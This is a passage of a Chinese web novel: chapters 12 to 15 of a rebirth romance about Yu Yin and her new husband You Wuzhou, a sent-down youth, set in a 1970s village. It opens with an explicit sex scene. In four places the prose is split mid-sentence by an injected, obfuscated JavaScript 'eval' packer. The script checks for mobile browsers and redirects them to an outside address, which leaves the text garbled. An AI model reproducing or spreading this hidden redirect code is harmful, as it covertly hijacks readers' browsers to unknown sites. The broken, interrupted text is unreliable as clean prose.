游雾州的手又冰又热,明明是微凉的,却将她点燃,烧死了那些作祟的蚂蚁,却又仿佛为那些蚂蚁带了层火热。 指骨若即若离的触碰,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376388|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余银被蚂蚁啃噬带来的酥痒和空虚的身躯,更加备受折麽。 偏偏这男人还在轻咬着那软嫩的耳垂,粗重的喘息声就像是蚂蚁在原头老巢,顺着她的耳朵,直往身体里的各处钻去。 余银觉得自己的意识似乎都有些模糊了,四肢也有些脱离和酸软,无力的被任由改变。 她受不了了,无意识微张的红唇,似乎连声音也带了点潮湿。 “游雾州。” “嗯?”他回应她。 “我难受,游雾州。” “怎么难受。”游雾州埋在她心口头也没抬,品尝着上等佳肴,含糊不清说:“哪里难受?” 她根本说不出难里难受,急的直哼哼。 声音也有些哽咽,“难受,游雾州。” “哪里都难受。” 游雾州依旧品尝着佳肴,舌尖轻扫,在没反应过来的时候又放在齿间轻磨,或重重的的吮吸两口那佳肴。 无力的四肢根本抗拒不了他的动作,本能的还想要让他吃的更多。 余银此刻□□干旱而备受折磨的一朵小花,岌岌可危,但又迎来了狂风骤雨。 被遮盖住的小花,只有狂风,没有骤雨。 渴望被暴雨浇灌,却只能被溅起的雨滴垂怜。 可怜极了。 “给我好不好。”余银带着哭腔嘤咛。 游雾州腾出一只手,指腹轻摸去她眼泪的水痕。 “给你什么?”游雾州不答反问,“教过你的,忘记了吗?” 声音含糊不清,余银根本不记得他到底要什么答案。 那些羞人的话,根本说不出口。 带了些气急败坏,可听起来更可怜了。 “游雾州,你真的——” 只是话还未说完,被突然来的动作打断,喉间的话顿时换成了细碎的嘤咛,在她将要昏头脑涨时,却被人猛然抽离。 余银真的要被他口口了。 什么都做不了住,什么都得不到。 她越想越委屈,越想眼泪越啪嗒啪嗒的往下落,最后抽泣地呜咽声。 游雾州自己也忍得很难受,他只是想要余银主动说出口。 却没想到把人招惹生气了。 本来埋在心口处作祟的头颅,在察觉到这哭泣声夹杂了委屈似乎不对时,就立马抬了起来。 将微咸的泪水吮进口中。 “不逗你了好不好。” “小鱼儿。” “你自己来,想怎么弄都行。” “好不好。” 边说边把人带起来翻了过,让余银坐在上面。 俩人面对面的坐着,男人低着头亲吻着她脸上的泪水。 只是其他地方,似乎并不像他们一样,都有些迫切的需要渴望对方。 不经意地碰到,彼此都吸引着。 不知不觉的中,保持着这个姿势,余银的不抗拒,将在亲吻的男人慢慢吞吃进入腹中。 抽噎的哭泣声也变成了乱哼哼。 遮盖也被狂风吹走,骤雨袭来,将原本未浸湿的泥土拍打成混着泥水的软泥。 骤雨变化莫测,忽而化作微风细雨,刚给人喘息的机会时,却又突然变作狂风暴雨,将人淋湿席卷。 12. 第 12 章 他们房子离余家的地方有几步距离。 晚上两人闹腾,余银的声音也不大,余家也不听到,游雾州更是将那嘤咛撞的细碎。 折腾到大半夜,游雾州有些意犹未尽,毕竟血气方刚的大小伙子,才发现其中的奥妙,可余银才初次。 到底也两次结束后,就没摁着人往天明了去弄。 余银也不知道什么时候睡着的,她四肢酸软的在游雾州给她擦干净身子后,迷迷糊糊就睡着了。 她心里也一直惦记着第二天上工的事,听到上工号子响了后,眼也没睁开想赖会儿床,就感受到男人给她掖了掖被子,轻手轻脚的起床穿衣服。 一点打算叫醒她的模样都没有。 余银撇嘴,默不作声地从床上坐起来,穿好衣服。 屋内还是有点黑的,也没点煤油灯,似乎是有所察觉。 男人准备走的时候,发现她也起来了,似乎有些幽怨的看着他。 轻咳一声,“你不再睡会?” “我都要去上工。”余银轻哼,“再说,你都跟阿舅说了让我跟着你。” 游雾州将煤油灯点亮,拎着走到床边递给她,“你先拎着。” 说完,把旁边的鞋子拿过来后,就纠结了几秒。 余银不等他反应,身子往下一滑,穿进鞋里,连拔都没拔,“快走吧,等会晚了。” - 割猪草那活要比地里的活容易得多,还不累,她也知道,可就是不想看到江窈,也在刻意地避着她。 一直不肯出门上工。 去仓房拿完农具,上工路上,村里人热热闹闹地说着闲话,嗓门不小,也不怎么避着人。 有个妇女跟余阿娘搭腔:“余家丫头今咋也来了,今是要做啥活啊。” 余阿娘在心里翻了白眼,但还是笑道:“俺家小鱼儿说要下地帮家里挣工分呢。” 那些妇女顿时一愣,纷纷打量着余银,一脸不可置信。 “你说啥?你家小鱼儿下地?” 谁不知道不干活多舒服,割猪草也不累。 余银撇嘴,但没说话,有她阿娘在,她也插不上嘴。 余阿娘没好气问那人:“咋地,俺俩小鱼儿不能下地吗?” “俺家姑娘长大了,也懂事,想替家里分担咋啦。” “没事,没事。”那妇女讪讪一笑,“这不是没见过吗,放着好好的割猪草不干,咋想着去下地了。” 其他妇女一听,顿时觉得余银下地干活有些不对劲。 可也最近也没听出什么风声,再说了,余银那身板,几乎都没下过地,甚至比那些城里来的知青还娇气。 能干得了地里的活吗。 这话她们也没敢说出来,毕竟余阿娘嘴皮子是个利落的。 不知谁问了一句:“那她原来割猪草的活给谁啊?” 问的那人,家里最近儿媳妇怀上孩子了,但家里实在穷,没工分就等于没饭吃,要是有割猪草的活,虽然工分低,但不至于饿死。 她想让自己媳妇接了那活。 余阿娘看了一眼是谁问的,知道她家媳妇有了身子,笑了笑说道:“老杨家的,你家媳妇想去跟队里说一声呗,反正你家那情况,肯定也会理解的。” 老扬家的:“哎呀,那感情好,我这就去跟大队长说去。” 说完,扭个头就去找余阿舅去了。 其他人只恨没早问一嘴,这样的便宜让别人占了。 有个妇女凑到余银旁边,“余家丫头,你咋嫩傻呢,割猪草那活多轻松啊,你咋也不提前跟俺家小花儿说一下。” “你俩小时候还经常在一块玩呢。” 说话的是杨小花她娘,余银对杨小花有点印象,比自己小几岁。 余银对她说:“这不是最近忙着结婚吗,再说了,小花想去割猪草,你去跟队里说啊。” 她没什么弯弯绕绕,不懂的圆滑和人情世故,话说得直白,也不顾及什么。 杨小花她娘见她这么说,也不再说什么,往旁边走了走,说她太傻了。 余银微微皱眉,有些烦躁。 她就是傻怎么了,就是放着割猪草简单活不干要去吃苦。 她不知道享福吗,还不是因为身边这个男人。 余银冷哼一声,恶狠狠瞪了一眼身边的人。 游雾州也不知道余银为什么要这样,但他也劝说过,没有用只好尊重她的决定。 他来村里不到半年也都知道村里人就是这样,昨晚也没想道余银会听不得这些。 见她不高兴,心里也多少有些不是滋味。 垂下头低声道:“她们瞎说,小鱼儿聪明着呢。” 余银这会儿正在气头上,才不想他说话,扭个脸,往王桂香那边走去。 游雾州没料到她会是这个反应,脸色有些不好看。 可又不是他的错,只是见她不高兴,夸她聪明也不行? 那些人七嘴八舌的说着,嘴也一刻不闲着,不知谁说了一句,“小鱼可不傻,你以为她为啥来地里,人家心里有想法呢。” “说不定还在心里骂咱们傻。” “咋?” “就游知青那招人的样,又不能拴在家里看着,可不带到哪都跟着。” 这话一出,她们耳朵都竖起来听。 “可不是吗,小鱼儿那哪是不想割猪草,那是把游知青给当宝贝了。” “还真是啊,这跟着一块干活,你说她能干个啥,那可不就是看着游知青,免得有人抢。” “那可不,要不然咱们小鱼儿能嫁给游知青,谁在村里见过她溜达,偏偏那天去水塘掉里面,让游知青给救了。” “原来是余银怕游知青被人抢了啊,我就说她咋要去下地啊。” 这话说的,余阿娘和王桂香对视了一眼,都心想,原来她们家小鱼儿用的是这个心思啊。 对着余银来了个,原来如此的表情。 要不是余银知道自己到底是为了什么,她就真的要相信了,实在是这个理由可太让信服了。 可也只有余银知道为什么。 游雾州也偏过头看她,原本因为余银刚才给他甩脸子还有些不舒服,现在听她们这么说。 心里顿时软了下来。 原来小姑娘都是为了他,才非要来下地干活。 往余银身边走了几步,对身侧的低下头人小声说:“我很洁身自好的,小鱼儿。” 说完,还朝她眨眨眼。 让她放心。 余银想解释,可也没法解释,她根本没法说自己是重活一世。 建国以后不许成精。 她就算说了也不会有人相信,反而觉得她疯了,指不定就被扣上个帽子,拉出去给示众。 还连累余家的人。 余银垂下头,也不说话。 游雾州只当她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376389|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小心思被人戳穿了,有些不好意思,害羞了。 伸出一只手悄悄地握上她的手,握上以后,收紧了两下。 余银侧头看向走在身边的人,男人面不改色,嘴角那抹淡淡的笑意,仿佛比往日的还多了不一样的感觉。 手上又是如此亲密,还是在这么多人的眼皮底下。 她抽了抽手,反而被握得更紧。 还被重重捏了一下。 有点警告的意味。 余银没了动作,默默跟在他身边,任由他牵着手。 余阿娘拉着王桂香往一边走了走,王桂香还不解,“咋了姐。” 余阿娘撇了撇那俩人的手,王桂香顺着看过去,往一边走去笑道:“感情真好啊。” - 余阿娘她们没隔多远,干活的时候她都看到了,主要都是女婿一直在干活,她家闺女来了以后一直在坐着。 在休息喘气的时候,余阿娘过来问游雾州,“累不累,也被让她一直歇着,起来帮你干点活。” 游雾州摇头,“不用,我一个人能行,一点都不累。” 余阿娘哪能不知道他真不累,见女婿热的一头汗,余银还在那干站着,连个水也不递。 抬手就在余银腰上拧了一把,咬着牙小声说:“赶紧去拿水给游知青喝,干半天活,连个水也不给他喝。” 余银鼓了鼓脸,拿起带来的水壶,这年头村里没有杯子,都是碗,还有的就是吃的罐头瓶子,里面装了点水,当杯子用。 她给游雾州递了水,就被她阿娘拉过去在一边教训。 “余银,你不能这样。”余阿娘很少全名称呼她,也是对她有些生气了,“当初是你非要嫁给他,咱俩心里门清,你到底是咋落水。” “你既然当初非要这样,现在结婚,你看看你怎么对游知青的,做人不能像你这样。他也是个人,你帮不上什么忙,你那张嘴不是会哄人吗?连个好听的话也不说?” “他可能现在跟你刚结婚,新鲜热乎着,你要是一直这样,以后呢?时间长了,你男人心凉了,我看你去哪哭去。” 余银怔住,余阿娘继续对她循循善诱,“夫妻之间,不能只有一方一直付出,游知青是个好的,他干活你给他擦擦汗,递个水,说两句好听的软乎话。这样他就算再累,见你这样心里也是美的,不止是女的要哄,男的更要哄,知道不知道。” 余银听的一愣一愣的,她就是没给游雾州递个水而已,反正她也不想过了。 但也不能在余阿娘面前表现出来,点头应了下来。 余阿娘也不知道她听到心里没有,戳了戳她的头,声音不小,但能让游雾州听到。 “游知青对你多好啊,别叫我再看到他干完活,连个递水擦汗的人都没有。” 余银揉了揉头,“知道了。” 余阿娘对游雾州说:“女婿啊,这闺女也没教过她啥,啥也不懂,你看看,都不知道给你递个水。都是我没教她,可别跟她一般见识哈。” 余阿娘先将余银批评了,既不让游雾州心里会有所埋怨,也会觉得余阿娘为他着想。 余银皮肤白,不注意力道就容易留印子,余阿娘又是个力气大的,看到她额头被戳出红印,微微皱了皱眉很快就松开,笑着说没事。 但在心里觉得余阿娘老是对余银动手有些不舒服。 他想找个时间跟余阿娘好好谈谈,不能对余银动不动就这样。 13. 第 13 章 “快中午的时候,你跟女婿一起回去做饭。”歇了一会儿也差不多了,余阿娘交代他俩:“以后家里你俩提前回去做饭,女婿做饭好吃,俩小的多吃点长得也壮实。” 余银点头,有些期待的问她娘:“那我也能做饭吗?” 她挺喜欢的做饭,各种调味的东西,用不寻常的做饭来调味,能很大程度满足她的好奇心。 但常常因为太过大胆放料,味道奇怪,而被拒绝让她下厨。 “不做。”余阿娘想也没想就拒绝她,笑骂道:“你回去帮帮女婿烧火,洗个菜什么的,让你做饭都是浪费东西。” “拿去给猪吃,猪都不吃,狗闻到味都要跑后山水塘边去去味。” 王桂香也遭受过余银厨艺的荼毒,此时听到余阿娘恰当的形容,没忍住的笑了。 游雾州没尝过她的手艺,只当她们夸大其词了,想着食物再怎么难吃也不至于那样。 笑着道:“那娘和舅母中午想吃点啥?” 余阿娘:“啥都行,俺们不挑,反正千万别让这丫头做饭。” “那我和桂香先过去了。” 说完,挽着王桂香胳膊,俩人朝着南边走了。 还没等她们走两步,余银就忍不住咕咕哝哝的说:“不做就不做吗,还猪都不吃,狗都要跑,你们以前不也吃过了。” 话没说透,但留那意思,不就是猪狗不吃的东西,她们给吃过了。 但她不是这个意思,就是想表达一下自己做饭也不至于这么难吃。 余阿娘刚走两步,就听到她这样说,回过头,眼神凌厉。 “小鱼儿,你又皮痒痒了?” 余银猛地抬起头,摇头又摆手的解释:“不敢不敢。” 余阿娘冷哼一声,“最好是,都结婚了,别给我成天没大没小的。” “嗯嗯嗯嗯。” 余银乖巧的掉头,“我可再不敢。” 等他们走了,余银垂下头准备去干活,游雾州凑过来说:“你想做的话,今天中午你来掌勺。” 刚才余银提到能下厨那期待地眼神,他都有些后悔昨天抢了做饭这个活,以为她不想做饭。原来是很感兴趣。 不过以后都是他做饭,倒是可以把机会让给她一些。 “真的?”余银狐疑地问他:“娘不是交代你了不让我做饭,你不听她的话?” “你少做点。”游雾州说:“我一个人吃,娘她们不吃,应该不会说什么。” 这是他想出到的,不管他做出来的东西有多难吃,反正是他一个人吃。 余银淡淡地“哦”了一声,也看不出来她这会儿对下厨有多大的兴趣。 “那好吧。” 游雾州说道:“我还没尝过你手艺呢。” “……” 对自己几斤几两的余银还是很有自知之明。 她主要是不太想跟他单独相处了,本来就因为干活要一起,现在还要一块做饭。 俩人简直是形影不离。 这样的现象可跟她预想的很不一致了。 - 厨房做饭的地方有两口锅,一个小一点用来炒菜,一个大一点用来烧水煮东西,毕竟家里人也不是太少。 游雾州拿了点干面条,粗面杂面和一点点白面做出来的,颜色比较重。家里的面条也没有很多了,所幸过了今天就要正式准备开始农忙夏收了。 缝袋子,平放粮食的地方,还要修补粮仓,每年在收粮食那几天都要下上几天雨,不仅要抢收,还要防止沾水。 在把收好的小麦大部分交工,剩下的分给村里人每家每户。 收成好了,就能多分点,收成不好的时候,就分不了多少。 她们家这时候还能有面条吃,主要是靠着余金在部队发下来的票和钱。 余银一直觉得她娘对吃的这方面有点矛盾,家里很舍得的吃白面和大米,要吃好吃饱,但每次做饭放调料却不舍得。 做出来容易寡淡无味。 她舅母也是。 还说她糟践粮食,她娘其实也挺浪费的。 游雾州把一个锅添上水,余银坐在灶口的小板凳上准备烧火。 “要帮忙吗?”游雾州见她引火问道。 余银头也没抬,“不用。” 游雾州问她:“中午想做什么菜?” “不知道。”余银思索了几秒:“你看着做吧,家里人都不挑食。” 游雾州点头,“你待会儿想做什么菜?” “你真让我来做?”余银不敢相信,“那会儿不是随口说的?” 这话不知道触及到他哪了,游雾州微微蹙眉,脸上有些无奈,也有些认真。 “不是。”游雾州说:“我不会随口一说的。” 余银没听出来他话里的意思,摆摆手,“随便你吧,你想吃什么就摘什么菜吧。” 说完就低头拿了把柴填上。 游雾州颇有深意的看了她一眼,过了几秒后,才转身去离开往菜地里去了。 他知道余家菜地在哪,知青点也有菜地,在这不种菜来吃,会生活的很困难。 家里还有土豆,他就摘了俩茄子和辣椒,又摘了几根黄瓜回去了。 余银坐在小板凳上,拖着腮时不时再添把柴,正发着呆,一道身影走到她旁边。 游雾走将洗好的黄瓜拿出来给她。 余银看着眼前出现的手,指节修长,骨骼感很强,手背上的青筋蜿蜒,他本来就白的手,在火光映照下,仿佛带了层橘黄色的薄纱。 手里的那根黄瓜也不像是黄瓜了,像是拿着一块翠绿色的翡翠。 余银一愣,黄瓜脆爽,她让火炕的也口干舌燥,但没有接过那根黄瓜,举着手在他眼前晃了晃,“手脏了,你吃吧。” 游雾州将黄瓜往她跟又凑了几分,“没事,就这样吃吧。” 余银有些没反应过来,她手黑黑的,等会是吃瓜还是吃灰。 她从小板凳上起来,去外面洗手再吃,刚起身就被他拉住了胳膊。 余银看了他一眼,“咋了?” “你去哪?” “出去洗手啊。”余银说:“不是你让我吃的吗,我去洗了手再吃啊。” 说完看了他一眼,转身就走了。 莫名其妙的。 余银觉得他有些怪怪的,他让自己吃的黄瓜,洗了手去拿的时候,明显察觉他有些不高兴。 也不知道自己哪里又惹到他了,她想着也不会是因为吃根黄瓜就耽误烧火,这瓜还是他给的。 真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376390|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好莫名其妙。 余银拿着那根黄瓜吃也不是,不吃也不是,“咔擦”一声,将那瓜掰成两截,放桌子上。 她掰的时候特意给自己少弄了点,两三口下肚就没了,手在衣服上摸了一把就继续烧火了。 主要是这男人太阴晴不定了,都不知道哪里惹到他了,黄瓜也不想不吃。 余银一遍烧火,一遍偷偷瞄他的脸色,在他菜炒完后,让自己来,她摇头拒绝。 “不了,我不敢。” 她做的难吃死了,本来就不知道哪里惹到他了,再给他吃一顿难吃的东西,这不是火上浇油。 余银就是再手痒想下厨,这会儿也是不可能答应的。 可谁知,刚拒绝完,游雾州就拧起眉,灶房内静得只能听到柴火燃烧的声音,气压似乎也低了几分。 余银空咽了下,“娘知道我要是单独给了做,肯定要揍我的。” 她娘肯定不认为是因为她贴心,而是觉得她拿游雾州当试毒对象呢。 指不定还要好好啰嗦她一番,早上掐的她腰那还疼着里。 余阿娘虽然不打人,但那每次的下意识掐一下,拧一下,拍一下,都十分的疼。 游雾州沉默,好半天才说了一句,“你做的饭到底什么味道?” “这有啥好知道的?”余银扶额,“你没听我娘说难吃到狗和猪都不吃啊。” “难道你想看看到底有多难吃?” 余银想,这人是不是没尝过被人这么嫌弃的难吃的东西,又道:“那你待会尝一口就算了,可别端去桌子上吃。” 游雾州没说好,问她:“你想炒啥菜?” 余银看在厨房里扫了一眼,拿了个碗走到调料那。 对他挥手道:“你想吃啥去拿过来吧。” 游雾州想了一下,拿了几个土豆削完皮洗干净,“你想切片还是切丝?” 土豆就算是煮熟什么也不放,也不会很难吃,还能喂牲畜。 余银正在思考她的私制调教要放些什么,头也没抬道:“你看着弄吧,不过少弄一点,不然真的浪费粮食。” 土豆丝做出来难度要高一些,游雾州选择了土豆片,那是一个只放盐就可以的菜。 但当他看到余银在锅里的土豆片放了一碗调料后,那奇怪的味道瞬间从他的鼻尖充斥到脑海里。 清晰地能闻到苦味,甜味,酸味,还有不知道什么的味道。 有点提神醒脑的效果。 游雾州本想不管做的多难吃,都要全部吃完,不想让她被打击。 可在这一盘菜出锅后,开始后悔自己的选择了。 有种搬起石头狠狠砸自己脚的感觉。 余银拿着筷子递给他,“刚才都说让你少弄点菜,待会娘回来了肯定要说我的。” 游雾州拿着筷子,顿了几秒,余银看出他的犹豫,直接道:“哎呦,你还是别吃了,真的很难吃,我还是赶紧到了毁尸灭迹吧。” 听她这样说,游雾州没有犹豫的直接叨了一大口放进嘴里,嚼了一口,就赶紧咽了下去,不敢仔细品尝。 “味道咋样?”余银笑眯眯问他:“你给评价评价。” 游雾州对着她的眼睛,默默移开了视线。 “不算很难吃。” 14. 第 14 章 对于那圆溜溜的大眼中的期待,这已经是游雾州在不违背良心上最好的夸奖了。 从这以后,余银想要下厨他也倒不拦着,反而还会品尝两口,但也不吃完。 余银也知道自己什么水平,偶尔才会去厨房忙活她的菜品。 中午吃完饭,余银和游雾州回到房间。 两人一个站着,一个准备去床上,这两天的事,让他们时间气氛稍微有了一丝变化。 既熟悉又不熟悉,晚上关了灯还好点,尤其是中午两人躺在床上,想想就有点不知道怎么面对了。 余银迟迟不肯上床,在房间里走来走去,看似在找东西,却又觉得是在漫无目的地躲着什么。 游雾州脱了外面的衣服,穿着大背心和短裤就躺上去了。明晃晃的肌肤就这样果露在外面。 他不是清瘦型的,可能脸长的比较清隽,让人经常忽略他那健硕的身材。 余银听到那悉悉窣窣衣服脱落的声音,脑海中自动浮现了不该出现的画面,耳根之直泛红,她是真的觉得不好意思,大中午的。 躺一块儿太容易擦枪走火了,她还想趁着中午睡一会呢。 虽说没做什么活,平日里都睡到自然醒,今早起后一直没睡,还待了一上午这会也直犯困。 “你不上来睡会?”游雾州撑着脑袋看她。 余银有些不自然的转过来,眼神从他身上只待了一秒就很快落了下来,“我找个东西,你先睡吧。” 就算要睡,也要等他先睡着了,她再上去睡。 这时候上床休息,她真的不敢想待会儿发生的事。 游雾州看了她一眼,沉默一下,缓缓道:“今天挺累了,上来休息吧。” 言下之意就是不碰她。 余银悄悄抬眸看他,见他手肘搭在额间,看起来是有些疲累,才松了口气。 她还以为这男人精力充沛到不会有感到疲累的时候。 抿了抿唇,走到床尾,脱了鞋子上床。 她刚躺好,就被拉入一个滚烫的怀里,男人下巴抵在她头顶,将她整个人圈进怀里,试着挣扎了一下,根本动不了。 “睡吧。” - 艳阳高高悬挂在天空,宛如一个滚烫的正在不断升温的大火炉,仿佛要将地面烤干,也即将要将小麦全部烤熟。 地里的小麦大部分已经变得金黄,金灿灿的一片也告示着即将丰收的到来。 过了今天,正式进入农忙的日子。 下午上工的时候,余家一家子和村里人走在路上,这个时候天是正热的时候,路上也没人说话。 话没说两句就又咳又热,难得安静了许多了。 但还是耐不住东一句西一句的。 游雾州看到余银被晒的通红的脸,问她:“家里有帽子没?” 家里有帽子,但余银嫌弃那太厚重太丑,而且她以前也不干活,就没有自己的帽子。 “有。”余银说:“但只有娘他们的,晚上回去给娘说一声,让她去找宋爷爷给给你也编一顶。” 村里的宋爷爷祖上是做蓑衣的,这手艺一直穿了下来,他们原也不是杨柳村的,以前逃难来到的这个村子,就住在村东头的第三家。 家里谁想要帽子了,带着东西,拿点粮食当作手工费,就当作是帮忙感谢的。 如果收钱了被人一举报一个准,那就是投机倒把,罪名严重的很,虽说是在村里安全些。 可能当初宋家祖上也是被人举报才没落逃难来的,即使是给票子或者钱,他也是不收的。 游雾州也知道找谁给编草帽,便没在说话。 下午上工的时候,余阿舅过来了,看着站在荫凉处的语音喊她,“小鱼儿,过来。” 余银眼睛一亮,小跑过去,“阿舅,咋啦。” 余阿舅冷肃的脸色看到她也柔和了许多,伸手从口袋里掏出把长条的糖递给她,“小鱼儿,吃糖喽。” 他口袋里经常装着小零食,来之前又去了村里的代销店一趟,那是供销社在各大队设立的,会卖一些人们常用的日用百货、烟酒糖茶等。 余阿舅是常客,代销店的老头说,这次拿了些大白兔奶糖,那是稀罕物,架不住太好吃了。 余银和那俩小的都很喜欢吃,余阿舅一听,就赶紧去了代销店买了些。 余银一看是大白兔奶糖,两个手捧着那把糖,笑的灿烂,“阿舅,是大白兔啊!” 余阿舅也笑了,摆摆手:“你长大了,也知道帮阿舅,阿舅特意买来给你的。” “我也没做啥。”余银摸了摸头,有些不好意思了,“虎妞和庆哥有吗?” 余阿舅道:“都有,这是你的,他俩的我晚上回去给。” 余银将糖装进口袋,拿出一颗剥开糖纸,奶香味直接溢出,她捏着那颗糖抵在余阿舅嘴边,“阿舅吃糖。” 余阿舅笑眯眯的吃下那颗糖,“其他的你吃吧。” 余银又给自己也剥了颗糖,填进嘴里,香甜的奶味直接在她的口腔里蔓延,那味道是幸福的感觉。 见她吃的开心,余阿舅摸了摸她的头,“那我先走了。” 余银嘴里嚼着糖,含糊不清的说:“那你回去吧阿舅。” 等余阿舅走了,余银装着糖一蹦一跳的去游雾州身边,心情很好的帮他一起拔草。 游雾州见她过来,“你去玩吧,这活不累,我一个人就成了。” 余银拔起手下的草,凑近游雾州身边,压着声音,小声的说:“游雾州,我给你个东西。” 她刚吃完大白兔奶糖,小嘴张开,那香甜的奶味就扑面而来,游雾州也不知是因为天热,还是真的干活干累了,突然有些恍惚。 “什么?”话刚说完,余银就剥开一颗糖递到游雾州的唇边按了进去。 余银弯着眼眸,一双鹿眼水亮水亮的,“是不是很好吃啊。” 游雾州一时间有些说不出话来,口腔内的甜味,将他拉入到他刚来杨柳村的时候。 他从来没想过家里会出事,尤其是外公一家,可就是这样,外公托了许多关系将他送到了杨柳村。 彼时他连杨柳村所处的县城都不知道是哪个城市的,这里太偏僻了,也正是因为如此,偏才不好让人找到,不好下手,才把他送到这里下乡。 他来的时候是冬天,都快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376391|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过年了,他一路辗转,从火车到汽车再到拖拉机,再到板车,才来到了杨柳村。 到的时候天都黑透了,当晚就下起了雪,他没有特别多的东西,甚至被褥都不是很厚实。 杨柳村不比首都有暖气,这里甚至连炕也没有,冬天纯靠一床又一床的被子来取暖,房间里冷的厉害。 余阿舅那天只接了他一个人,可能是觉得他和余金是差不多的年纪,又加上有人提前打过招呼了。 他带着游雾州回到了余家,余阿舅看着很冷肃,给他铺了床,还下了碗热面,让他在余家住上一晚,第二天才带他去知青点。 连那晚的被褥也一并给了他。 那晚其实很冷,但他却觉得很温暖。 在余家准备走的时候,余阿舅在看到一个姑娘的时候,突然说先等一下,他看到和外公一样不苟言笑冷肃的余阿舅。 脸上是难得的柔和,还有淡淡的笑容,掏出口袋里的糖来哄那个姑娘,那个姑娘看着不小了,却能被当作孩童一样对待。 小姑娘拿了糖笑的很高兴,甚至看到余阿舅身后不远处的他,也给他一颗。 “给你吃糖,很好吃的。” 明明那天还正下着雪,没有太阳,暗淡的天空,那小姑娘眼睛却水亮水亮的。 她给完糖就就回房间了。 他知道这糖,在首都很常见,却没想到在这偏僻的村里也能看到。 看到熟悉的东西内心难免有些感触。 大白兔奶糖带来的香甜,让他的心里好像也甜了不少。 游雾州说不来上当初什么感觉。 但那天的温暖,大白兔奶糖的香甜,还有那双水亮的眼眸。 刻印在他脑海里,从来不曾消失过。 此时因为同样有些类似的场景,再次被勾起的记忆。 但现在他的心境已然不同了。 “你咋啦游雾州?”余银见他吃个糖像失了魂似的,抬手在她眼前晃了晃,“是不是好久没吃到过了,我也好久没吃过了,这个是我最喜欢吃的,阿舅给了我好多,可惜咱们村里很少有,你还想吃的话我让阿舅到时候去县城开会了再买点。” 游雾州回神,嘴角漾起淡淡的笑意,和平常一样,但却多了发自心底的开心。 “没事。”他摸了摸余银的头发,“你喜欢吃,过两天咱们去县城多买点。” “好啊。”余银更开心,但似乎又想到了什么,垂下头来,“算了。” 游雾州见她这样也有些疑惑,问她,“怎么了,你不想吃吗?” 上辈子她就没见过游雾州身上有什么钱,干活还特别勤快,但在村里赚的也不多,她也不知道他身上有钱没。 余银有些难以启齿,声音极小的说,“你没什么钱,我也没有,结婚了想吃糖还要问阿娘要。” 游雾州还以为是是什么,心里有些不是滋味。 他再穷也不会连给余银买糖吃的钱都拿不出来。 “有钱的。”他说:“我下乡的时候家里给我留的有钱,你不用担心。” “想吃什么咱们都买点回来,给虎妞和余庆也带一份,刚好也要到回门了。” 15. 第 15 章 有的地方是结完婚第二天就回门,她们这是第三天才回门。 明天说来也是她们刚结完婚,要回门的日子。 现在都下午了,要进城去也回不来。 而且,他俩也就住在余家啊。 余银咬着下唇,“不用了吧,娘他们不在乎那么多的。” “再说了,咱们也没时间进城去。” 这些游雾州自然也想到了现在去买东西来不及,而且也更忙了,请假去也不太好看,又是住在一块儿。 也就是一家人一块吃吃饭。 他原本想的是不太招摇,在明天早上早点起,去镇上买点东西回来,镇上虽然不比县城,但也有他需要的东西。 游雾州说出自己的想法,问余银:“明天起的会很早,你想不想去?” 余银一听要起得很早,连想都没想,直接拒绝了,小声道:“我想多睡会。” 她上次去县城屁股疼了两天,这次要是走着去镇上,那也腿要疼两天的。 游雾州也没勉强,毕竟也知道她平时起的晚,现在又要早起上工,不想起床跟他一起也正常。 “那你有什么想吃的吗,我给你带回来。”游雾州问她。 余银不想欠他什么,她可以给游雾州任何东西,就比如刚才的大白兔奶糖,但她一点都不想要在游雾州身上拿到什么。 因为那要付出代价的。 她老娘说过的,天下没有白吃的午餐,也没有人会平白无故地对她好。 任何东西的得到了,都是要在自己身上付出的。 她如愿以偿嫁给了游雾州,也因为他而害的家里人。 糖没了还可以让余阿舅再给她买,但是不能让游雾州给她买。 她没有东西能作为代价给他了。 